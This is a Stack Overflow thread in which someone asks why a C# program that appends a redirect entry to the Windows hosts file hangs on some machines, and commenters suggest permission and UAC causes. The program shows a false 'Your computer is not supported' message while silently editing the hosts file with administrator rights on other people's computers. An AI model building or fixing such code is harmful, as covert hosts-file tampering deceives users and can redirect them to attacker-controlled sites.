1

I have this code:

using System;
using System.IO;
using System.Net;
using System.Net.Mail;

namespace Nameddd
{
    class Program
    {
        static void Main(string[] args)
        {
            Hosts();
            Console.WriteLine("Loading..");
            Console.WriteLine("Your computer is not supported");
            Console.ReadKey();
        }
        static void Hosts()
        {
        {
            using (StreamWriter w = File.AppendText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts")))
            {
                w.WriteLine("SOME_IP domain.com");
            }
        }

This program is working for me but apparently not on every system. I used VS 2015 community on Windows 10. On another computer my friend (with windows 7) - also working.

But for someone with Windows 10 it is not working. Application is not running, "loading cursor" - that's it. If I'm trying to delete the .exe it shows a message box with text like "process already running".

Thomas Weller
  • 55,411
  • 20
  • 125
  • 222
Helper us
  • 33
  • 1
  • 6
  • 3
    Do the account under which this program runs have read/write access to the file you are trying to write to? – Harsh Nov 17 '15 at 22:55
  • etc/hosts is an odd file. its under the system32 directory which gets messed with by 32/64 bit wizardy on windows http://stackoverflow.com/questions/1855042/system32-folder-on-a-64-bit-system – pm100 Nov 17 '15 at 23:10
  • Maybe are there problems with UAC or antivirus? – Roman Marusyk Nov 17 '15 at 23:20
  • @pm100 I don't understand what you mean. I have 64 bit - work, my friend also have 64 bit and not work – Helper us Nov 17 '15 at 23:23
  • try opening the hosts file with notepad on both machines – pm100 Nov 17 '15 at 23:24
  • When you run it, do you right click it and select "Run as administrator"? – kamilk Nov 17 '15 at 23:25
  • one thing thats suspicious is that the program hangs, if its a permission thing it should just die – pm100 Nov 17 '15 at 23:37

1 Answers1

0

Make sure you are running the code or executable as administrator. You probably opened the file but couldn't save the changes to the file for the friend that the code failed.

from another post from here you can check it like this:

using System.Security.Principal;
public bool IsUserAdministrator()
{             
    bool isAdmin;
    try
    {
        WindowsIdentity user = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(user);
        isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
    }
    catch (UnauthorizedAccessException ex)
    {
        isAdmin = false;
    }
    catch (Exception ex)
    {
        isAdmin = false;
    }
    return isAdmin;
}
Community
  • 1
  • 1
Dr. Aaron Dishno
  • 1,859
  • 1
  • 29
  • 24
  • Thanks for reply, but I configure my manifest and my app runing always as administrator. "shield on icon" also have – Helper us Nov 17 '15 at 23:35
  • Could be an ACL issue. Seems that if Windows was upgraded from certain previous versions of Windows it may have a read-only behavior even if executed as Administrator. (source) http://arstechnica.com/civis/viewtopic.php?f=15&t=1244947 – Dr. Aaron Dishno Nov 18 '15 at 14:43